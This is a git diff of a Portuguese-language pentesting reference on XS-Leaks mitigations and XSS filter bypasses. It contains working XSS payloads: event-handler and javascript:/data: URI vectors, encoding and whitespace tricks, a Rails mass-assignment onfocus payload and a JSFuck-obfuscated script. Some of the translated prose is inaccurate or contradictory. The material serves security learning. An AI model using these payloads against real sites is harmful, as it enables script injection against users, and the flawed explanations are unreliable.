Se não for possível carregar uma imagem externa que possa indicar ao atacante que a imagem foi carregada, outra opção seria tentar adivinhar o caractere várias vezes e medir isso. Se a imagem for carregada, todas as solicitações levarão mais tempo do que se a imagem não for carregada. Isso é o que foi usado na [solução deste writeup](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) resumido aqui:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
@ -940,7 +947,7 @@ Métodos mais genéricos:
* **Metadados de Fetch**. Esses cabeçalhos de solicitação permitem que os proprietários do servidor entendam melhor como o navegador do usuário causou uma solicitação específica. No Chrome, os cabeçalhos Sec-Fetch-\* são adicionados automaticamente a cada solicitação e fornecem metadados sobre a procedência da solicitação. Por exemplo, Sec-Fetch-Dest: image foi acionado a partir de um elemento de imagem. As aplicações da web podem então optar por bloquear solicitações com base nessas informações.
* **Cookies Same-Site**. A flag Same-Site nos cookies permite que os sites declarem **se um cookie deve ser restrito ao contexto do mesmo site ou do primeiro site**. Todos os principais navegadores suportam cookies Same-Site. No Google Chrome, os cookies sem o atributo agora são Lax por padrão. Para XS-Leaks, **os cookies Same-Site limitam drasticamente as possibilidades de ataque de vazamento**. Por outro lado, as técnicas de vazamento que dependem de **`window.open` ainda funcionam com `SameSite=Lax`**. Os sites que usam **outros métodos de autenticação**, como certificados do lado do cliente e autenticação HTTP, **permanecem vulneráveis**.
* **Desvinculação de Identificador de Origem Cruzada (COIU)**. O COIU, também conhecido como Isolamento de Primeira Parte (FPI), é um recurso de segurança opcional que os usuários podem habilitar nas configurações avançadas do Firefox (about:config) e foi inicialmente introduzido no Tor Browser. Em uma visão abstrata, é um contexto de mesma origem estendido. Ele **vincula vários recursos** (por exemplo, cookies, cache, armazenamento do lado do cliente) **à primeira parte** em vez de compartilhá-los entre todos os sites visitados. Se habilitado, o COIU diminui drasticamente a aplicabilidade de XS-Leaks, pois apenas os métodos que usam pop-ups ainda são possíveis para atender ao requisito de primeira parte da política.
* **Desvinculação de Identificador de Origem Cruzada (COIU)**. O COIU, também conhecido como Isolamento de Primeira Parte (FPI), é um recurso de segurança opcional que os usuários podem habilitar nas configurações avançadas do Firefox (about:config) e foi inicialmente introduzido no Tor Browser. Em uma visão abstrata, ele é um contexto de mesma origem estendido. Ele **vincula vários recursos** (por exemplo, cookies, cache, armazenamento do lado do cliente) **à primeira parte** em vez de compartilhá-los entre todos os sites visitados. Se habilitado, o COIU diminui drasticamente a aplicabilidade de XS-Leaks, pois apenas os métodos que usam pop-ups ainda são possíveis para atender ao requisito de primeira parte da política.
* **Proteções de Rastreamento**. A Apple implementou um mecanismo de privacidade chamado **Prevenção de Rastreamento Inteligente (ITP)** no Safari, que visa combater o rastreamento entre sites limitando as capacidades de cookies e outras APIs da web. Nas versões mais recentes do Safari, o ITP bloqueia todos os cookies de terceiros por padrão, sem exceções \[74]. Esse bloqueio impede todos os vazamentos que não são baseados em pop-ups. O Firefox adotou uma abordagem semelhante com a Prevenção de Rastreamento Aprimorada (ETP), mas eles bloqueiam apenas cookies de terceiros específicos pertencentes a provedores de rastreamento. No contexto de XS-Leaks, o ETP apenas mitiga as técnicas de vazamento que visam esses domínios de rastreamento.
* **Extensões de Navegador**. Usuários conscientes de segurança podem usar **extensões de navegador para prevenir certos métodos de inclusão**.
@ -948,8 +955,8 @@ Métodos mais genéricos:
* **Manipulador de Eventos**. A **mitigação mais eficaz** para essa técnica de vazamento seria **negar todos eles**, mas isso quebraria a maioria das aplicações da web na Internet. Portanto, propomos **reduzir o número de informações necessárias que podem ser coletadas nos eventos**. Por exemplo, o evento de violação de CSP não deve conter a URL de destino de redirecionamento no campo blockedURI. Esse comportamento está implementado no Firefox e nas versões mais recentes do Google Chrome - apenas o Safari ainda está vulnerável.
* **Mensagens de Erro**. Para mitigar XS-Leaks baseados na técnica de vazamento de mensagens de erro, existem dois requisitos principais. Primeiro, **as mensagens de erro não devem conter informações detalhadas**, assim como as mensagens de manipulador de eventos. Segundo, os navegadores devem **minimizar a ocorrência de mensagens de erro**. XS-Leaks como SRI Error, ContentDocument XFO ou Fetch Redirect detectam se uma mensagem de erro é lançada ou não.
* **Limites Globais**. Corrigir técnicas de vazamento que abusam de limites globais é relativamente complexo porque eles dependem de restrições físicas. A recomendação geral é, portanto, **restringir os limites globais em uma pequena base por site**. Se o limite global for 1, como para a API de Pagamento, o invasor pode tentar silenciosamente ativar a interface de pagamento da web a qualquer momento, o que só terá sucesso se a interface não estiver sendo usada simultaneamente por outra guia. Recomendamos acessar a API de Pagamento apenas quando um evento confiável for usado. Dessa forma, o limite global é definido como zero, a menos que o usuário forneça consentimento, como um clique do mouse esquerdo em uma janela de diálogo, que define o limite global como um.
* **Estado Global**. **As propriedades do estado global do navegador não devem ser acessíveis**. Por exemplo, o Firefox é o único navegador que atualiza o histórico do estado global quando ocorre um redirecionamento, o que resulta na leitura de history.length. Os navegadores devem criar uma nova propriedade de histórico quando ocorrer um redirecionamento, em vez de armazená-la globalmente. Outros exemplos são recursos compartilhados, como caches. Vazamentos de cache abusam do cache compartilhado usado para todos os sites abertos em um navegador. Para mitigar completamente as técnicas de vazamento de cache, o cache HTTP deve ser particionado com base em cada site, como implementado no Safari, Google Chrome e Firefox. Observe que, no Safari, os iframes não são afetados pela partição de cache.
* **Limites Globais**. Corrigir técnicas de vazamento que abusam de limites globais é relativamente complexo porque eles dependem de restrições físicas. A recomendação geral é **restringir os limites globais em uma pequena base por site**. Se o limite global for 1, como para a API de Pagamento, o invasor pode tentar silenciosamente ativar a interface de pagamento da web a qualquer momento, o que só terá sucesso se a interface não estiver sendo usada simultaneamente por outra guia. Recomendamos acessar a API de Pagamento apenas quando um evento confiável for usado. Dessa forma, o limite global é definido como zero, a menos que o usuário forneça consentimento, como um clique do mouse esquerdo em uma janela de diálogo, que define o limite global como um.
* **Estado Global**. **As propriedades do estado global do navegador não devem ser acessíveis**. Por exemplo, o Firefox é o único navegador que atualiza o histórico do estado global quando ocorre um redirecionamento, o que resulta na leitura de history.length. Os navegadores devem criar uma nova propriedade de histórico quando ocorrer um redirecionamento, em vez de armazená-la globalmente. Outros exemplos são recursos compartilhados, como caches. Vazamentos de cache abusam do cache compartilhado usado para todos os sites abertos em um navegador. Para mitigar completamente as técnicas de vazamento de cache, o cache HTTP deve ser particionado com base em cada site, como implementado pelo Safari, Google Chrome e Firefox. Observe que, no Safari, os iframes não são afetados pela partição de cache.
* **API de Desempenho**. Provamos que a API de Desempenho é uma excelente técnica de vazamento. Em muitos XS-Leaks, pudemos detectar a diferença se a resposta de uma solicitação de origem cruzada possui ou não uma entrada de desempenho. Como unificação, recomendamos garantir que todas as solicitações criem essa entrada e que apenas o subconjunto correto de informações de tempo seja registrado para solicitações de origem cruzada.
## Referências

View file

@ -302,11 +302,9 @@ Os eventos de estilo são uma técnica comum usada em ataques de Cross-Site Scri
Os eventos de estilo são acionados quando ocorre uma interação com um elemento HTML específico, como um clique do mouse ou passagem do cursor. Eles são usados para modificar o estilo de um elemento, como a cor de fundo ou o tamanho da fonte.
No contexto de um ataque XSS, os eventos de estilo podem ser explorados para injetar código malicioso. Por exemplo, um invasor pode usar o evento "onmouseover" para executar um script que redireciona o usuário para um site falso ou rouba suas informações de login.
No contexto de um ataque XSS, um invasor pode explorar eventos de estilo para injetar código malicioso em um site. Por exemplo, um invasor pode usar o evento "onmouseover" para executar um script quando o cursor do mouse passa sobre um elemento específico. Isso pode ser usado para roubar informações confidenciais do usuário ou redirecionar o usuário para um site malicioso.
Para se proteger contra ataques de XSS baseados em eventos de estilo, é importante validar e sanitizar todas as entradas de usuário antes de exibi-las em um site. Isso pode ser feito usando funções de escape ou filtros de entrada para remover qualquer código malicioso potencial.
Além disso, é recomendável implementar uma política de segurança de conteúdo (Content Security Policy - CSP) para restringir o uso de eventos de estilo e outras técnicas de XSS. A CSP permite que os desenvolvedores especifiquem quais tipos de conteúdo são permitidos em um site, ajudando a prevenir ataques de XSS.
Para se proteger contra ataques de XSS baseados em eventos de estilo, é importante validar e sanitizar todas as entradas de usuário antes de exibi-las em um site. Além disso, é recomendável implementar uma política de segurança de conteúdo (CSP) para restringir o uso de eventos de estilo e outras funcionalidades potencialmente perigosas.
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
@ -395,7 +393,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Locais onde você pode injetar esses protocolos**
**Em geral**, o protocolo `javascript:` pode ser **usado em qualquer tag que aceite o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (exceto `<img`).
**Em geral**, o protocolo `javascript:` pode ser **usado em qualquer tag que aceite o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (exceto `<img`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -451,7 +449,7 @@ When a user opens a new tab and navigates to a different website, the original w
To perform a reverse tab nabbing attack, the attacker first injects malicious code into a vulnerable website. This code typically includes a JavaScript function that detects when the user switches tabs. When the user switches to a different tab, the malicious code modifies the content of the original website to display the attacker's phishing page.
The phishing page is designed to look like a legitimate website, such as a login page for a popular service. When the user enters their credentials on the phishing page, the attacker captures the information and can use it for malicious purposes, such as identity theft or unauthorized access to accounts.
The phishing page is designed to look like a legitimate website, such as a login page for a popular service. When the user enters their credentials on the phishing page, the attacker captures the information and can use it for malicious purposes.
To protect against reverse tab nabbing attacks, users should be cautious when switching between tabs and ensure they only enter sensitive information on trusted websites. Website owners should also implement security measures, such as input validation and output encoding, to prevent XSS vulnerabilities that can be exploited for reverse tab nabbing attacks.
```javascript
@ -514,11 +512,11 @@ Vários truques usando diferentes codificações já foram expostos nesta seçã
**Bypasses para tags e atributos HTML**
Leia os [Bypasses de Lista Negra da seção anterior](./#blacklist-bypasses).
Leia os [Bypasses de Lista Negra da seção anterior](./#bypasses-de-lista-negra).
**Bypasses para código JavaScript**
Leia os [bypasses de lista negra de JavaScript da seção seguinte](./#javascript-bypass-blacklists-techniques).
Leia o [bypass de lista negra de JavaScript da seção seguinte](./#técnicas-de-bypass-de-lista-negra-de-javascript).
### CSS-Gadgets
@ -640,16 +638,16 @@ Nesse exemplo, o código JavaScript malicioso é codificado usando a notação U
#### Prevenção
Para prevenir ataques de Unicode Encode JS execution, é importante implementar práticas de segurança adequadas, como:
Para evitar ataques de Unicode Encode JS execution, é importante implementar práticas de segurança adequadas, como:
- Validar e sanitizar todas as entradas de usuário.
- Utilizar mecanismos de escape apropriados para evitar a execução de código JavaScript malicioso.
- Implementar políticas de segurança de conteúdo (CSP) para restringir o carregamento de scripts de fontes não confiáveis.
- Implementar filtros de entrada que bloqueiem ou removam caracteres Unicode suspeitos.
- Manter a aplicação web atualizada com as últimas correções de segurança.
#### Conclusão
A técnica de Unicode Encode JS execution é uma forma comum de explorar vulnerabilidades de XSS em aplicações web. Compreender como esse tipo de ataque funciona e adotar medidas preventivas adequadas é essencial para proteger a segurança das aplicações e dos usuários.
A técnica de Unicode Encode JS execution é uma forma comum de explorar vulnerabilidades de XSS em aplicações web. Compreender como esse tipo de ataque funciona e implementar medidas de segurança adequadas é essencial para proteger as aplicações contra esse tipo de ameaça.
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -692,17 +690,16 @@ eval(8680439..toString(30))(983801..toString(36))
Quando exploramos vulnerabilidades de XSS (Cross-Site Scripting), muitas vezes nos deparamos com filtros que tentam bloquear a injeção de código malicioso. Um desses filtros comuns é a substituição de espaços em branco dentro do código JavaScript.
Essa técnica de substituição de espaço é usada para contornar os filtros de XSS que procuram por padrões específicos de código malicioso. Ao substituir os espaços em branco por caracteres equivalentes, podemos evitar a detecção do código malicioso pelos filtros.
A ideia por trás dessa técnica é que, ao substituir os espaços em branco por outros caracteres, o código malicioso se torna ineficaz, pois não será mais reconhecido como código válido pelo navegador.
Existem várias formas de realizar essa substituição de espaço, como:
Existem várias maneiras de realizar essa substituição de espaços. Alguns exemplos incluem:
- Usar caracteres de espaço alternativos, como o caractere de espaço em branco não quebrável (`&nbsp;`) ou o caractere de espaço em branco em largura total (`\u200b`).
- Utilizar caracteres de escape, como o caractere de barra invertida (`\`) seguido por um espaço em branco (`\ `) ou o caractere de barra invertida seguido por um caractere de nova linha (`\n`).
- Utilizar codificação hexadecimal ou unicode para representar o espaço em branco, como `%20` ou `\x20`.
- Usar caracteres de escape, como `\x20` ou `\u0020`, para representar o espaço em branco.
- Utilizar outros caracteres que não sejam espaços em branco, como `%20` ou `+`, para substituir os espaços.
Ao aplicar essas substituições de espaço dentro do código JavaScript injetado, podemos contornar os filtros de XSS e executar nosso código malicioso no contexto da página vulnerável.
No entanto, é importante observar que os filtros de substituição de espaços podem variar de acordo com a aplicação ou plataforma específica. Portanto, é necessário entender como o filtro está implementado antes de tentar contorná-lo.
É importante lembrar que a substituição de espaço é apenas uma técnica para contornar filtros de XSS e não deve ser a única medida de segurança adotada. É fundamental implementar outras práticas recomendadas, como a validação e sanitização adequada dos dados de entrada, para garantir a segurança das aplicações web.
Além disso, é importante lembrar que a substituição de espaços é apenas uma técnica de evasão de filtro e não garante a exploração bem-sucedida de uma vulnerabilidade de XSS. É necessário realizar uma análise completa do contexto e das restrições do código para encontrar uma forma eficaz de explorar a vulnerabilidade.
```javascript
<TAB>
/**/
@ -729,14 +726,14 @@ Os espaços em branco no JavaScript referem-se a qualquer tipo de espaço em bra
No entanto, em certos casos, os espaços em branco podem ser explorados por hackers para realizar ataques de Cross-Site Scripting (XSS). Isso ocorre quando um invasor insere código malicioso em um campo de entrada que não é devidamente validado ou sanitizado. O código malicioso é então executado no navegador do usuário, permitindo que o invasor roube informações confidenciais, como senhas ou cookies de autenticação.
Para evitar ataques de XSS baseados em espaços em branco, é importante seguir as melhores práticas de segurança, como:
Para evitar ataques de XSS baseados em espaços em branco, é importante seguir as práticas recomendadas de segurança, como:
- Validar e sanitizar todas as entradas do usuário antes de exibi-las no navegador.
- Utilizar bibliotecas e frameworks seguros que possuam mecanismos de proteção contra XSS.
- Implementar filtros de entrada para remover ou escapar de caracteres especiais que possam ser usados em ataques XSS.
- Manter-se atualizado sobre as últimas vulnerabilidades e correções de segurança relacionadas a XSS.
- Utilizar bibliotecas e frameworks seguros que possuam recursos de prevenção de XSS embutidos.
- Implementar uma política de segurança de conteúdo (Content Security Policy) para restringir o carregamento de scripts de fontes não confiáveis.
- Manter-se atualizado sobre as últimas vulnerabilidades e correções de segurança relacionadas a espaços em branco e XSS.
Ao adotar essas práticas, os desenvolvedores podem reduzir significativamente o risco de ataques de XSS baseados em espaços em branco e garantir a segurança de suas aplicações web.
Ao adotar essas medidas de segurança, é possível reduzir significativamente o risco de ataques de XSS baseados em espaços em branco e proteger os sistemas e dados contra invasões maliciosas.
```javascript
log=[];
function funct(){}
@ -774,7 +771,7 @@ O XSS (Cross-Site Scripting) é uma vulnerabilidade comum em aplicações web qu
Quando o código JavaScript é inserido em um campo de entrada não sanitizado e exibido em uma página da web, ele pode ser interpretado e executado pelo navegador do usuário. No entanto, para evitar a detecção e contornar as proteções de segurança, os invasores podem usar técnicas para evitar o uso de parênteses no código JavaScript injetado.
Ao remover os parênteses, o código JavaScript pode ser disfarçado como texto normal e passar despercebido pelos filtros de segurança. Isso permite que o código seja executado quando a página é carregada ou quando um evento específico é acionado, dependendo da implementação específica do ataque XSS.
Ao remover os parênteses, o código JavaScript pode ser mascarado como texto normal e passar despercebido pelos filtros de segurança. Isso permite que o código seja executado quando a página é carregada ou quando um evento específico é acionado, dependendo da implementação específica do ataque XSS.
É importante destacar que a remoção dos parênteses não é uma técnica exclusiva de ataques XSS e pode ser usada em outros contextos para ocultar código malicioso. Portanto, é fundamental que os desenvolvedores implementem medidas de segurança adequadas, como a sanitização de entradas e a validação de dados, para mitigar o risco de ataques XSS.
````javascript
@ -923,7 +920,7 @@ Existe **código JS** que está usando **dados controlados por um atacante de fo
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
Lá você encontrará uma **explicação detalhada sobre o que são as vulnerabilidades DOM, como elas são provocadas e como explorá-las**.\
Lá você encontrará uma explicação detalhada sobre o que são as **vulnerabilidades DOM, como elas são provocadas e como explorá-las**.\
Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de Clobbering DOM**](dom-xss.md#dom-clobbering).
## Outros Bypasses
@ -939,7 +936,7 @@ Você pode verificar se os **valores refletidos** estão sendo **normalizados em
### Bypass do Ruby-On-Rails
Devido à **atribuição em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
Por exemplo de formulário ([desse relatório](https://hackerone.com/reports/709336)), se você enviar o payload:
Por exemplo, no formulário ([neste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
@ -989,7 +986,7 @@ Protocolos conhecidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, c
### Apenas letras, números e pontos
Se você puder indicar o **callback** que o JavaScript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](./#javascript-function) para descobrir como abusar desse comportamento.
Se você puder indicar o **callback** que o JavaScript vai **executar**, limitado a esses caracteres. [**Leia esta seção deste post**](./#javascript-function) para descobrir como abusar desse comportamento.
### Tipos de conteúdo `<script>` válidos para XSS
@ -1227,7 +1224,7 @@ trigger()
```javascript
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
```javascript
//aaencode
@ -1235,38 +1232,45 @@ trigger()
## Descrição
O XSS (Cross-Site Scripting) é uma vulnerabilidade comum em aplicações web que permite que um atacante injete scripts maliciosos em páginas web visualizadas por outros usuários. Esses scripts podem ser usados para roubar informações confidenciais, como cookies de autenticação, ou redirecionar o usuário para sites maliciosos.
O XSS (Cross-Site Scripting) é uma vulnerabilidade comum em aplicações web que permite que um atacante injete scripts maliciosos em páginas web visualizadas por outros usuários. Esses scripts podem ser usados para roubar informações confidenciais, como cookies de autenticação, redirecionar o usuário para sites maliciosos ou executar ações indesejadas em nome do usuário.
Existem três tipos principais de XSS:
1. **Reflected XSS**: os dados fornecidos pelo usuário são imediatamente refletidos na resposta do servidor, sem serem armazenados no banco de dados. Isso permite que o atacante injete um script malicioso na resposta e engane os usuários que visualizam a página.
2. **Stored XSS**: os dados fornecidos pelo usuário são armazenados no banco de dados e exibidos em outras páginas posteriormente. Isso permite que o atacante injete um script malicioso que será exibido para todos os usuários que acessarem a página.
3. **DOM-based XSS**: o ataque ocorre no lado do cliente, manipulando o Document Object Model (DOM) da página. O atacante injeta um script malicioso que é executado no navegador do usuário, alterando o comportamento da página.
1. **Reflected XSS**: O payload malicioso é incluído na solicitação HTTP e é refletido de volta na resposta HTML.
